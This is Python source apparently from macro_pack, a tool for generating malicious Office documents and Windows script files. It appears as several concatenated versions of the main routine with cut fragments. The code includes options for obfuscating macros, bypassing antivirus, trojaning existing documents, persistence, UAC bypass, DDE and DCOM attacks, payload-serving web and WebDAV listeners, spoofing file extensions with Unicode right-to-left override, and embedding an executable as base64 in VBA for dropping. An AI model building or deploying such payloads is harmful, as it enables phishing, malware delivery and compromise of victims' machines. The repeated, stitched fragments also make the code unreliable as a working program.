if mpSession.ddeMode: # DDE Attack mode
if MSTypes.WD in mpSession.outputFileType:
generator = WordDDE(mpSession)
generator.run()
else:
logging.warn(
" [!] Word and Word97 are only format supported for DDE attacks."
)
if mpSession.runTarget: #run com attack
generator = ComGenerator(mpSession)
generator.run()
if mpSession.dcom: #run dcom attack
generator = DcomGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.VBS:
generator = VBSGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.HTA:
generator = HTAGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.SCT:
generator = SCTGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.WSF:
generator = WSFGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.VBA or mpSession.outputFilePath == None:
generator = VBAGenerator(mpSession)
generator.run()
if mpSession.listen:
listener = ListenServer(mpSession)
listener.run()
except Exception:
logging.exception(" [!] Exception caught!")
logging.error(
" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files"
)
if sys.platform == "win32":
logging.error(
" [!] Attempt to force close MS Office applications...")
objExcel = win32com.client.Dispatch("Excel.Application")
objExcel.Application.Quit()
del objExcel
objWord = win32com.client.Dispatch("Word.Application")
objWord.Application.Quit()
del objWord
ppt = win32com.client.Dispatch("PowerPoint.Application")
ppt.Quit()
del ppt
logging.info(" [+] Cleaning...")
shutil.rmtree(WORKING_DIR)
logging.info(" Done!\n")
sys.exit(0)
def main(argv):
logLevel = "INFO"
# initialize macro_pack session object
mpSession = mp_session.MpSession(WORKING_DIR, VERSION)
try:
longOptions = ["quiet", "input-file=","vba-output=", "mask-strings", "encode","obfuscate","obfuscate-form", "obfuscate-names", "obfuscate-strings", "file=","template=", "start-function="]
# only for Pro release
if MP_TYPE == "Pro":
longOptions.extend(["vbom-encode", "persist","keep-alive", "av-bypass", "trojan", "stealth"])
# Only enabled on windows
if sys.platform == "win32":
longOptions.extend(["excel-output=", "word-output=", "excel97-output=", "word97-output=", "ppt-output="])
opts, args = getopt.getopt(argv, "s:f:t:v:x:X:w:W:P:hqmo", longOptions) # @UnusedVariable
except getopt.GetoptError:
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-o", "--obfuscate"):
mpSession.obfuscateForm = True
mpSession.obfuscateNames = True
mpSession.obfuscateStrings = True
elif opt=="--obfuscate-form":
mpSession.obfuscateForm = True
elif opt=="--obfuscate-names":
mpSession.obfuscateNames = True
elif opt=="--obfuscate-strings":
mpSession.obfuscateStrings = True
elif opt=="-s" or opt=="--start-function":
mpSession.startFunction = arg
elif opt == "-f" or opt== "--input-file":
mpSession.vbaInput = arg
elif opt=="-t" or opt=="--template":
mpSession.template = arg
elif opt=="-q" or opt=="--quiet":
logLevel = "ERROR"
elif opt=="-v" or opt=="--vba-output":
mpSession.vbaFilePath = os.path.abspath(arg)
mpSession.fileOutput = True
elif opt in ("-X", "--excel-output"):
# Only enabled on windows
if sys.platform == "win32":
mpSession.excelFilePath = os.path.abspath(arg)
mpSession.fileOutput = True
elif opt in ("-W","--word-output"):
# Only enabled on windows
if sys.platform == "win32":
mpSession.wordFilePath = os.path.abspath(arg)
mpSession.fileOutput = True
elif opt in ("-x", "--excel97-output"):
# Only enabled on windows
if sys.platform == "win32":
mpSession.excel97FilePath = os.path.abspath(arg)
mpSession.fileOutput = True
elif opt in ("-w", "--word97-output"):
# Only enabled on windows
if sys.platform == "win32":
mpSession.word97FilePath = os.path.abspath(arg)
mpSession.fileOutput = True
elif opt in ("-P","--ppt-output"):
# Only enabled on windows
if sys.platform == "win32":
mpSession.pptFilePath = os.path.abspath(arg)
mpSession.fileOutput = True
elif opt=="-h" or opt=="--help":
usage()
sys.exit(0)
else:
if MP_TYPE == "Pro":
if opt=="--vbom-encode":
mpSession.vbomEncode = True
elif opt=="--persist":
mpSession.persist = True
elif opt=="--keep-alive":
mpSession.keepAlive = True
elif opt=="--av-bypass":
mpSession.avBypass = True
elif opt=="--trojan":
mpSession.trojan = True
elif opt == "--stealth":
mpSession.stealth = True
else:
usage()
sys.exit(0)
else:
usage()
sys.exit(0)
os.system('cls' if os.name == 'nt' else 'clear')
# Logging
logging.basicConfig(level=getattr(logging, logLevel),format="%(message)s", handlers=[utils.ColorLogFiler()])
logging.info(colored(BANNER, 'green'))
logging.info(" [+] Preparations...")
# check input args
if mpSession.vbaInput is None:
# Argument not supplied, try to get file content from stdin
if os.isatty(0) == False: # check if something is being piped
logging.info(" [-] Waiting for piped input feed...")
mpSession.stdinContent = sys.stdin.readlines()
else:
logging.error(" [!] ERROR: No input provided")
sys.exit(2)
else:
if not os.path.isfile(mpSession.vbaInput):
logging.error(" [!] ERROR: Could not find %s!" % mpSession.vbaInput)
sys.exit(2)
if mpSession.trojan==False:
# verify that output file does not already exist
for outputPath in [mpSession.vbaFilePath, mpSession.excelFilePath, mpSession.wordFilePath, mpSession.excel97FilePath, mpSession.word97FilePath, mpSession.pptFilePath]:
if outputPath is not None:
if os.path.isfile(outputPath):
logging.error(" [!] ERROR: Output file %s already exist!" % outputPath)
sys.exit(2)
else:
# In trojan mode, file are tojane if they already exist and created if they dont.
# except for vba output which is not concerned by trojan feature
for outputPath in [mpSession.vbaFilePath]:
if outputPath is not None:
if os.path.isfile(outputPath):
logging.error(" [!] ERROR: Output file %s already exist!" % outputPath)
sys.exit(2)
logging.info(" [-] Input file path: %s" % mpSession.vbaInput)
#Create temporary folder
logging.info(" [-] Temporary working dir: %s" % WORKING_DIR)
if not os.path.exists(WORKING_DIR):
os.makedirs(WORKING_DIR)
try:
logging.info(" [-] Store input file..." )
# Create temporary work file.
vbaFile = os.path.join(WORKING_DIR,utils.randomAlpha(9))+".vba"
if mpSession.stdinContent is not None:
f = open(vbaFile, 'w')
f.writelines(mpSession.stdinContent)
f.close()
else:
# Create temporary work file
shutil.copy2(mpSession.vbaInput, vbaFile)
logging.info(" [-] Temp VBA file: %s" % vbaFile)
# Generate template
if mpSession.template:
generator = TemplateToVba(mpSession)
generator.run()
# Macro obfuscation
if mpSession.obfuscateNames:
obfuscator = ObfuscateNames(mpSession)
obfuscator.run()
# Mask strings
if mpSession.obfuscateStrings:
obfuscator = ObfuscateStrings(mpSession)
obfuscator.run()
# Macro obfuscation
if mpSession.obfuscateForm:
obfuscator = ObfuscateForm(mpSession)
obfuscator.run()
if MP_TYPE == "Pro":
#macro split
if mpSession.avBypass:
obfuscator = AvBypass(mpSession)
obfuscator.run()
# MAcro encoding
if mpSession.vbomEncode:
obfuscator = VbomEncoder(mpSession)
obfuscator.run()
# PErsistance management
if mpSession.persist:
obfuscator = Persistance(mpSession)
obfuscator.run()
# Macro obfuscation
if mpSession.obfuscateNames:
obfuscator = ObfuscateNames(mpSession)
obfuscator.run()
# Mask strings
if mpSession.obfuscateStrings:
obfuscator = ObfuscateStrings(mpSession)
obfuscator.run()
# Macro obfuscation
if mpSession.obfuscateForm:
obfuscator = ObfuscateForm(mpSession)
obfuscator.run()
else:
# PErsistance management
if mpSession.persist:
obfuscator = Persistance(mpSession)
obfuscator.run()
# MS Office generation/trojan is only enabled on windows
if sys.platform == "win32":
if mpSession.stealth == True:
# Add a new empty module to keep VBA library if we hide other modules
# See http://seclists.org/fulldisclosure/2017/Mar/90
genericModule = mp_module.MpModule(mpSession)
genericModule.addVBAModule("")
if mpSession.trojan == False:
if mpSession.excelFilePath or mpSession.excel97FilePath:
generator = ExcelGenerator(mpSession)
generator.run()
if mpSession.wordFilePath or mpSession.word97FilePath:
generator = WordGenerator(mpSession)
generator.run()
if mpSession.pptFilePath:
generator = PowerPointGenerator(mpSession)
generator.run()
else:
if mpSession.excelFilePath:
if os.path.isfile(mpSession.excelFilePath):
generator = ExcelTrojan(mpSession)
generator.run()
else:
generator = ExcelGenerator(mpSession)
generator.run()
if mpSession.excel97FilePath:
if os.path.isfile(mpSession.excel97FilePath):
generator = ExcelTrojan(mpSession)
generator.run()
else:
generator = ExcelGenerator(mpSession)
generator.run()
if mpSession.wordFilePath:
if os.path.isfile(mpSession.wordFilePath):
generator = WordTrojan(mpSession)
generator.run()
else:
generator = WordGenerator(mpSession)
generator.run()
if mpSession.word97FilePath:
if os.path.isfile(mpSession.word97FilePath):
generator = WordTrojan(mpSession)
generator.run()
else:
generator = WordGenerator(mpSession)
generator.run()
if mpSession.pptFilePath:
if os.path.isfile(mpSession.pptFilePath):
generator = PptTrojan(mpSession)
generator.run()
else:
generator = PowerPointGenerator(mpSession)
generator.run()
if mpSession.stealth == True:
obfuscator = Stealth(mpSession)
obfuscator.run()
if mpSession.vbaFilePath is not None or mpSession.fileOutput == False:
generator = VBAGenerator(mpSession)
generator.run()
except Exception:
logging.exception(" [!] Exception caught!")
logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files")
if sys.platform == "win32":
logging.error(" [!] Attempt to force close MS Office applications...")
objExcel = win32com.client.Dispatch("Excel.Application")
objExcel.Application.Quit()
del objExcel
objWord = win32com.client.Dispatch("Word.Application")
objWord.Application.Quit()
del objWord
ppt = win32com.client.Dispatch("PowerPoint.Application")
ppt.Quit()
del ppt
logging.info(" [+] Cleaning...")
shutil.rmtree(WORKING_DIR)
logging.info(" Done!\n")
sys.exit(0)
def main(argv):
global MP_TYPE
logLevel = LOGLEVEL
# initialize macro_pack session object
working_directory = os.path.join(os.getcwd(), WORKING_DIR)
if MP_TYPE == "Pro":
mpSession = mp_session_pro.MpSessionPro(working_directory, VERSION,
MP_TYPE)
else:
mpSession = mp_session.MpSession(working_directory, VERSION, MP_TYPE)
try:
longOptions = [
"embed=", "listen=", "port=", "webdav-listen=", "generate=",
"quiet", "input-file=", "encode", "obfuscate", "obfuscate-form",
"obfuscate-names", "obfuscate-strings", "file=", "template=",
"listtemplates", "listformats", "icon=", "start-function=",
"uac-bypass", "unicode-rtlo=", "dde", "print", "force-yes"
]
shortOptions = "e:l:w:s:f:t:G:hqmop"
# only for Pro release
if MP_TYPE == "Pro":
longOptions.extend(arg_mgt_pro.proArgsLongOptions)
shortOptions += arg_mgt_pro.proArgsShortOptions
# Only enabled on windows
if sys.platform == "win32":
longOptions.extend(["run=", "run-visible"])
opts, args = getopt.getopt(argv, shortOptions,
longOptions) # @UnusedVariable
except getopt.GetoptError:
help.printUsage(BANNER, sys.argv[0], mpSession)
sys.exit(2)
for opt, arg in opts:
if opt in ("-o", "--obfuscate"):
mpSession.obfuscateForm = True
mpSession.obfuscateNames = True
mpSession.obfuscateStrings = True
elif opt == "--obfuscate-form":
mpSession.obfuscateForm = True
elif opt == "--obfuscate-names":
mpSession.obfuscateNames = True
elif opt == "--obfuscate-strings":
mpSession.obfuscateStrings = True
elif opt == "-s" or opt == "--start-function":
mpSession.startFunction = arg
elif opt == "-l" or opt == "--listen":
mpSession.listen = True
mpSession.listenRoot = os.path.abspath(arg)
elif opt == "--port":
mpSession.listenPort = int(arg)
mpSession.WlistenPort = int(arg)
elif opt == "--icon":
mpSession.icon = arg
elif opt == "-w" or opt == "--webdav-listen":
mpSession.Wlisten = True
mpSession.WRoot = os.path.abspath(arg)
elif opt == "-f" or opt == "--input-file":
mpSession.fileInput = arg
elif opt == "-e" or opt == "--embed":
mpSession.embeddedFilePath = os.path.abspath(arg)
elif opt == "-t" or opt == "--template":
mpSession.template = arg
elif opt == "--listtemplates":
help.printTemplatesUsage(BANNER, sys.argv[0])
sys.exit(0)
elif opt == "-q" or opt == "--quiet":
logLevel = "WARN"
elif opt == "-p" or opt == "--print":
mpSession.printFile = True
elif opt == "--dde":
if sys.platform == "win32":
mpSession.ddeMode = True
elif opt == "--run":
if sys.platform == "win32":
mpSession.runTarget = os.path.abspath(arg)
elif opt == "--run-visible":
if sys.platform == "win32":
mpSession.runVisible = True
elif opt == "--force-yes":
mpSession.forceYes = True
elif opt == "--uac-bypass":
mpSession.uacBypass = True
elif opt == "--unicode-rtlo":
mpSession.unicodeRtlo = arg
elif opt in ("-G", "--generate"):
mpSession.outputFilePath = os.path.abspath(arg)
elif opt == "--listformats":
help.printAvailableFormats(BANNER)
sys.exit(0)
elif opt == "-h" or opt == "--help":
help.printUsage(BANNER, sys.argv[0], mpSession)
sys.exit(0)
else:
if MP_TYPE == "Pro":
arg_mgt_pro.processProArg(opt, arg, mpSession, BANNER)
else:
#print("opt:%s, arg:%s",(opt,arg))
help.printUsage(BANNER, sys.argv[0], mpSession)
sys.exit(0)
if logLevel == "INFO":
os.system('cls' if os.name == 'nt' else 'clear')
# Logging
logging.basicConfig(level=getattr(logging, logLevel),
format="%(message)s",
handlers=[utils.ColorLogFiler()])
logging.info(colored(BANNER, 'green'))
logging.info(" [+] Preparations...")
# check input args
if mpSession.fileInput is None:
# Argument not supplied, try to get file content from stdin
if os.isatty(0) == False: # check if something is being piped
logging.info(" [-] Waiting for piped input feed...")
mpSession.stdinContent = sys.stdin.readlines()
# Close Stdin pipe so we can call input() later without triggering EOF
#sys.stdin.close()
if sys.platform == "win32":
sys.stdin = open("conIN$")
else:
sys.stdin = sys.__stdin__
else:
if not os.path.isfile(mpSession.fileInput):
logging.error(" [!] ERROR: Could not find %s!" %
mpSession.fileInput)
sys.exit(2)
else:
logging.info(" [-] Input file path: %s" % mpSession.fileInput)
if MP_TYPE == "Pro":
if mpSession.communityMode == True:
logging.warning(
" [!] Running in community mode (pro features not applied)")
MP_TYPE = "Community"
else:
arg_mgt_pro.verify(mpSession)
# Check output file format
if mpSession.outputFilePath:
if not os.path.isdir(os.path.dirname(mpSession.outputFilePath)):
logging.error(" [!] Could not find output folder %s." %
os.path.dirname(mpSession.outputFilePath))
sys.exit(2)
if mpSession.outputFileType == MSTypes.UNKNOWN:
logging.error(
" [!] %s is not a supported extension. Use --listformats to view supported MacroPack formats."
% os.path.splitext(mpSession.outputFilePath)[1])
sys.exit(2)
else:
logging.info(" [-] Target output format: %s" %
mpSession.outputFileType)
elif mpSession.listen == False and mpSession.Wlisten == False and mpSession.runTarget is None and (
MP_TYPE != "Pro" or mpSession.dcomTarget is None):
logging.error(
" [!] You need to provide an output file! (get help using %s -h)"
% os.path.basename(utils.getRunningApp()))
sys.exit(2)
if mpSession.isTrojanMode == False:
# verify that output file does not already exist
if os.path.isfile(mpSession.outputFilePath):
logging.error(" [!] ERROR: Output file %s already exist!" %
mpSession.outputFilePath)
sys.exit(2)
#Create temporary folder
logging.info(" [-] Temporary working dir: %s" % working_directory)
if not os.path.exists(working_directory):
os.makedirs(working_directory)
try:
# Create temporary work file.
if mpSession.ddeMode or mpSession.template or (
mpSession.outputFileType not in MSTypes.VB_FORMATS
and mpSession.htaMacro == False):
inputFile = os.path.join(working_directory, "command.cmd")
else:
inputFile = os.path.join(working_directory,
utils.randomAlpha(9)) + ".vba"
if mpSession.stdinContent is not None:
import time
time.sleep(0.4) # Needed to avoid some weird race condition
logging.info(" [-] Store std input in file...")
f = open(inputFile, 'w')
f.writelines(mpSession.stdinContent)
f.close()
else:
# Create temporary work file
if mpSession.fileInput is not None:
# Check there are not binary chars in input fil
if utils.isBinaryString(
open(mpSession.fileInput, 'rb').read(1024)):
logging.error(
" [!] ERROR: Invalid format for %s. Input should be text format containing your VBA script."
% mpSession.fileInput)
logging.info(" [+] Cleaning...")
if os.path.isdir(working_directory):
shutil.rmtree(working_directory)
sys.exit(2)
logging.info(" [-] Store input file...")
shutil.copy2(mpSession.fileInput, inputFile)
if os.path.isfile(inputFile):
logging.info(" [-] Temporary input file: %s" % inputFile)
# Edit outputfile name to spoof extension if unicodeRtlo option is enabled
if mpSession.unicodeRtlo:
# Reminer; mpSession.unicodeRtlo contains the extension we want to spoof, such as "jpg"
logging.info(" [+] Inject %s false extension with unicode RTLO" %
mpSession.unicodeRtlo)
# Separate document path and extension
(fileName,
fileExtension) = os.path.splitext(mpSession.outputFilePath)
logging.info(" [-] Extension %s " % fileExtension)
# Append unicode RTLO to file name
fileName += '\u202e'
# Append extension to spoof in reverse order
fileName += '\u200b' + mpSession.unicodeRtlo[::
-1] # Prepend invisible space so filename does not end with flagged extension
# Append file extension
fileName += fileExtension
mpSession.outputFilePath = fileName
logging.info(" [-] File name modified to: %s" %
mpSession.outputFilePath)
# Retrieve the right payload builder
if mpSession.outputFileType != MSTypes.UNKNOWN:
if MP_TYPE == "Pro" and mpSession.communityMode == False:
payloadBuilder = PayloadBuilderFactoryPro().getPayloadBuilder(
mpSession)
else:
payloadBuilder = PayloadBuilderFactory().getPayloadBuilder(
mpSession)
# Build payload
if payloadBuilder is not None:
payloadBuilder.run()
if MP_TYPE == "Pro":
generator = ContainerGenerator(mpSession)
generator.run()
#run com attack
if mpSession.runTarget:
generator = ComGenerator(mpSession)
generator.run()
if MP_TYPE == "Pro":
#run dcom attack
if mpSession.dcom:
generator = DcomGenerator(mpSession)
generator.run()
# Activate Web server
if mpSession.listen:
listener = ListenServer(mpSession)
listener.run()
# Activate WebDav server
if mpSession.Wlisten:
Wlistener = WListenServer(mpSession)
Wlistener.run()
except Exception:
logging.exception(" [!] Exception caught!")
except KeyboardInterrupt:
logging.error(" [!] Keyboard interrupt caught!")
logging.info(" [+] Cleaning...")
if os.path.isdir(working_directory):
shutil.rmtree(working_directory)
logging.info(" Done!\n")
sys.exit(0)
def main(argv):
logLevel = "INFO"
# initialize macro_pack session object
working_directory = os.path.join(os.getcwd(), WORKING_DIR)
mpSession = mp_session.MpSession(working_directory, VERSION, MP_TYPE)
try:
longOptions = [
"embed=", "listen=", "port=", "webdav-listen=", "generate=",
"quiet", "input-file=", "encode", "obfuscate", "obfuscate-form",
"obfuscate-names", "obfuscate-strings", "file=", "template=",
"start-function=", "uac-bypass", "unicode-rtlo=", "dde", "print"
]
shortOptions = "e:l:w:s:f:t:G:hqmop"
# only for Pro release
if MP_TYPE == "Pro":
longOptions.extend([
"vbom-encode", "persist", "keep-alive", "av-bypass", "trojan=",
"stealth", "dcom=", "background", "decoy="
])
shortOptions += "T:b"
# Only enabled on windows
if sys.platform == "win32":
longOptions.extend(["run="])
opts, args = getopt.getopt(argv, shortOptions,
longOptions) # @UnusedVariable
except getopt.GetoptError:
help.printUsage(BANNER, sys.argv[0], mpSession)
sys.exit(2)
for opt, arg in opts:
if opt in ("-o", "--obfuscate"):
mpSession.obfuscateForm = True
mpSession.obfuscateNames = True
mpSession.obfuscateStrings = True
elif opt == "--obfuscate-form":
mpSession.obfuscateForm = True
elif opt == "--obfuscate-names":
mpSession.obfuscateNames = True
elif opt == "--obfuscate-strings":
mpSession.obfuscateStrings = True
elif opt == "-s" or opt == "--start-function":
mpSession.startFunction = arg
elif opt == "-l" or opt == "--listen":
mpSession.listen = True
mpSession.listenRoot = os.path.abspath(arg)
elif opt == "--port":
mpSession.listenPort = int(arg)
mpSession.WlistenPort = int(arg)
elif opt == "-w" or opt == "--webdav-listen":
mpSession.Wlisten = True
mpSession.WRoot = os.path.abspath(arg)
elif opt == "-f" or opt == "--input-file":
mpSession.vbaInput = arg
elif opt == "-e" or opt == "--embed":
mpSession.embeddedFilePath = os.path.abspath(arg)
elif opt == "-t" or opt == "--template":
if arg is None or arg.startswith(
"-") or arg == "help" or arg == "HELP":
help.printTemplatesUsage(BANNER, sys.argv[0])
sys.exit(0)
else:
mpSession.template = arg
elif opt == "-q" or opt == "--quiet":
logLevel = "ERROR"
elif opt == "-p" or opt == "--print":
mpSession.printFile = True
elif opt == "--dde":
if sys.platform == "win32":
mpSession.ddeMode = True
elif opt == "--run":
if sys.platform == "win32":
mpSession.runTarget = os.path.abspath(arg)
elif opt == "--uac-bypass":
mpSession.uacBypass = True
elif opt == "--unicode-rtlo":
mpSession.unicodeRtlo = arg
elif opt in ("-G", "--generate"):
mpSession.outputFilePath = os.path.abspath(arg)
elif opt == "-h" or opt == "--help":
help.printUsage(BANNER, sys.argv[0], mpSession)
sys.exit(0)
else:
if MP_TYPE == "Pro":
if opt == "--vbom-encode":
mpSession.vbomEncode = True
elif opt == "--persist":
mpSession.persist = True
elif opt == "--keep-alive":
mpSession.keepAlive = True
elif opt == "--av-bypass":
mpSession.avBypass = True
elif opt == "-T" or opt == "--trojan":
# Document generation enabled only on windows
if sys.platform == "win32":
mpSession.outputFilePath = os.path.abspath(arg)
mpSession.trojan = True
elif opt == "-b" or opt == "--background":
mpSession.background = True
elif opt == "--stealth":
mpSession.stealth = True
elif opt == "--dcom":
mpSession.dcom = True
mpSession.dcomTarget = arg
elif opt == "--decoy":
mpSession.decoyFilePath = os.path.abspath(arg)
else:
help.printUsage(BANNER, sys.argv[0], mpSession)
sys.exit(0)
else:
#print("opt:%s, arg:%s",(opt,arg))
help.printUsage(BANNER, sys.argv[0], mpSession)
sys.exit(0)
if logLevel == "INFO":
os.system('cls' if os.name == 'nt' else 'clear')
# Logging
logging.basicConfig(level=getattr(logging, logLevel),
format="%(message)s",
handlers=[utils.ColorLogFiler()])
logging.info(colored(BANNER, 'green'))
logging.info(" [+] Preparations...")
# Check output file format
if mpSession.outputFilePath:
logging.info(" [-] Target output format: %s" %
mpSession.outputFileType)
elif mpSession.listen == False and mpSession.Wlisten == False and mpSession.runTarget is None and mpSession.dcomTarget is None:
logging.error(" [!] You need to provide an output file! (-G option)")
sys.exit(2)
# Edit outputfile name to spoof extension if unicodeRtlo option is enabled
if mpSession.unicodeRtlo:
logging.info(" [-] Inject %s false extension with unicode RTLO" %
mpSession.unicodeRtlo)
# Separate document and extension
(fileName, fileExtension) = os.path.splitext(mpSession.outputFilePath)
# Append unicode RTLO to file name
fileName += '\u202e'
# Append extension to spoof in reverse order
fileName += mpSession.unicodeRtlo[::-1]
# Appent file extension
fileName += fileExtension
mpSession.outputFilePath = fileName
logging.info(" [-] File name modified to: %s" %
mpSession.outputFilePath)
# check input args
if mpSession.vbaInput is None:
# Argument not supplied, try to get file content from stdin
if os.isatty(0) == False: # check if something is being piped
logging.info(" [-] Waiting for piped input feed...")
mpSession.stdinContent = sys.stdin.readlines()
# Close Stdin pipe so we can call input() later without triggering EOF
#sys.stdin.close()
sys.stdin = sys.__stdin__
else:
if not os.path.isfile(mpSession.vbaInput):
logging.error(" [!] ERROR: Could not find %s!" %
mpSession.vbaInput)
sys.exit(2)
else:
logging.info(" [-] Input file path: %s" % mpSession.vbaInput)
if mpSession.trojan == False:
# verify that output file does not already exist
if os.path.isfile(mpSession.outputFilePath):
logging.error(" [!] ERROR: Output file %s already exist!" %
mpSession.outputFilePath)
sys.exit(2)
else:
# In trojan mode, files are tojaned if they already exist and created if they dont.
# This concerns only non Office documents for now
if mpSession.outputFileType not in MSTypes.MS_OFFICE_FORMATS:
if os.path.isfile(mpSession.outputFilePath):
logging.error(
" [!] ERROR: Trojan mode not supported for %s format. \nOutput file %s already exist!"
% (mpSession.outputFileType, mpSession.outputFilePath))
sys.exit(2)
#Create temporary folder
logging.info(" [-] Temporary working dir: %s" % working_directory)
if not os.path.exists(working_directory):
os.makedirs(working_directory)
try:
# Create temporary work file.
if mpSession.ddeMode or mpSession.template or (
mpSession.outputFileType not in MSTypes.VB_FORMATS):
inputFile = os.path.join(working_directory, "command.cmd")
else:
inputFile = os.path.join(working_directory,
utils.randomAlpha(9)) + ".vba"
if mpSession.stdinContent is not None:
logging.info(" [-] Store std input in file...")
f = open(inputFile, 'w')
f.writelines(mpSession.stdinContent)
f.close()
else:
# Create temporary work file
if mpSession.vbaInput is not None:
logging.info(" [-] Store input file...")
shutil.copy2(mpSession.vbaInput, inputFile)
if os.path.isfile(inputFile):
logging.info(" [-] Temporary input file: %s" % inputFile)
# Generate template
if mpSession.template:
if MP_TYPE == "Pro":
generator = TemplateGeneratorPro(mpSession)
generator.run()
else:
generator = TemplateToVba(mpSession)
generator.run()
# MS Office generation/trojan is only enabled on windows
if sys.platform == "win32" and mpSession.outputFileType in MSTypes.MS_OFFICE_FORMATS:
handleOfficeFormats(mpSession)
# Generate Scripts
if MP_TYPE == "Pro":
if mpSession.outputFileType == MSTypes.VBS:
generator = VBSGeneratorPro(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.HTA:
generator = HTAGeneratorPro(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.SCT:
generator = SCTGeneratorPro(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.WSF:
generator = WSFGeneratorPro(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.XSL:
generator = XSLGeneratorPro(mpSession)
generator.run()
else:
if mpSession.outputFileType == MSTypes.VBS:
generator = VBSGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.HTA:
generator = HTAGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.SCT:
generator = SCTGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.WSF:
generator = WSFGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.XSL:
generator = XSLGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.VBA:
generator = VBAGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.SCF:
generator = SCFGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.URL:
generator = UrlShortcutGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.GLK:
generator = GlkGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.LNK:
generator = LNKGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.SETTINGS_MS:
generator = SettingsShortcutGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.LIBRARY_MS:
generator = LibraryShortcutGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.INF:
generator = InfGenerator(mpSession)
generator.run()
if mpSession.outputFileType == MSTypes.IQY:
generator = IqyGenerator(mpSession)
generator.run()
#run com attack
if mpSession.runTarget:
generator = ComGenerator(mpSession)
generator.run()
#run dcom attack
if mpSession.dcom:
generator = DcomGenerator(mpSession)
generator.run()
# Activate Web server
if mpSession.listen:
listener = ListenServer(mpSession)
listener.run()
if mpSession.Wlisten:
Wlistener = WListenServer(mpSession)
Wlistener.run()
except Exception:
logging.exception(" [!] Exception caught!")
logging.info(" [+] Cleaning...")
shutil.rmtree(working_directory)
logging.info(" Done!\n")
sys.exit(0)
def _processEmbedExeTemplate(self):
# open file containing template values
cmdFile = self.getCMDFile()
if cmdFile is None or cmdFile == "":
logging.error(" [!] Could not find template parameters!")
return
f = open(cmdFile, 'r')
valuesFileContent = f.read()
f.close()
params = shlex.split(
valuesFileContent
) # split on space but preserve what is between quotes
inputExe = params[0]
outputPath = None
if len(params) > 1:
outputPath = params[1]
else:
outputPath = utils.randomAlpha(5) + os.path.splitext(inputExe)[1]
logging.info(" [-] Output path when exe is extracted: %s" %
outputPath)
#OPEN THE FILE
if os.path.isfile(inputExe):
todo = open(inputExe, 'rb').read()
else:
logging.error(" [!] Could not find %s" % inputExe)
return
#ENCODE THE FILE
logging.info(" [-] Encoding %d bytes" % (len(todo), ))
b64 = base64.b64encode(todo).decode()
logging.info(" [-] Encoded data is %d bytes" % (len(b64), ))
b64 = b64.replace("\n", "")
x = 50000
strs = [b64[i:i + x] for i in range(0, len(b64), x)]
for j in range(len(strs)):
##### Avoids "Procedure too large error with large executables" #####
strs[j] = self._formStr("var" + str(j), strs[j])
sub_proc = ""
for i in range(len(strs)):
sub_proc = sub_proc + "Private Function var" + str(
i) + " As String\n"
sub_proc = sub_proc + "" + strs[i]
sub_proc = sub_proc + "\nEnd Function\n"
chunksDecode = ""
for l in range(len(strs)):
chunksDecode += "\tDim chunk" + str(l) + " As String\n"
chunksDecode += "\tchunk" + str(l) + " = var" + str(l) + "()\n"
chunksDecode += "\tout1 = out1 + chunk" + str(l) + "\n"
content = templates.EMBED_EXE
content = content.replace("<<<STRINGS>>>", sub_proc)
content = content.replace("<<<DECODE_CHUNKS>>>", chunksDecode)
content = content.replace("<<<OUT_FILE>>>", outputPath)
#top + next + then1 + sub_proc+ sub_open
# generate random file name
vbaFile = os.path.abspath(
os.path.join(self.workingPath,
utils.randomAlpha(9) + ".vba"))
logging.info(" [-] Template %s VBA generated in %s" %
(self.template, vbaFile))
# Write in new file
f = open(vbaFile, 'w')
f.write(content)
f.close()
os.remove(cmdFile)
logging.info(" [-] OK!")
def testVBGenerators():
"""
will run test of MS Office and VBS based formats
The tests consist into creating the documents, then running them triggering a file creation macro. Then checking the file is well created
The tests are run in both cleartext and obfuscated mode.
"""
result = True
vbaTestFile = "testmacro.vba"
logging.info(" [+] Build macro test file...")
with open(vbaTestFile, 'w') as outfile:
outfile.write(VBA)
for testFormat in MSTypes.VB_FORMATS:
testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat]
try:
logging.info(" [+] Testing generation of %s file..." % testFormat)
os.system("%s %s -f %s -G %s -q" %
(sys.executable, MP_MAIN, vbaTestFile, testFile))
assert (os.path.isfile(testFile))
logging.info(" [-] Success!\n")
if testFormat not in [MSTypes.VBA, MSTypes.SCT]:
logging.info(" [+] Testing run of %s file..." % testFormat)
if testFormat in MSTypes.MS_OFFICE_FORMATS:
os.system("%s %s --run=%s -q" %
(sys.executable, MP_MAIN, testFile))
else:
os.system("cmd.exe /c %s" % (testFile))
# Check result
assert (os.path.isfile(fileToGenerate))
with open(fileToGenerate, 'rb') as infile:
content = infile.read().decode('utf-16')
#logging.info("Content:|%s| - fileToGenerateContent:|%s|" % (content, fileToGenerateContent))
assert (content == fileToGenerateContent)
testSummary[testFormat + " in Clear Text"] = "[OK]"
logging.info(" [-] Success!\n")
os.remove(fileToGenerate)
except:
result = False
testSummary[testFormat + " in Clear Text"] = "[KO]"
logging.exception(" [!] Error!\n")
if os.path.isfile(testFile):
os.remove(testFile)
testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat]
try:
logging.info(" [+] Testing generation of %s obfuscated file..." %
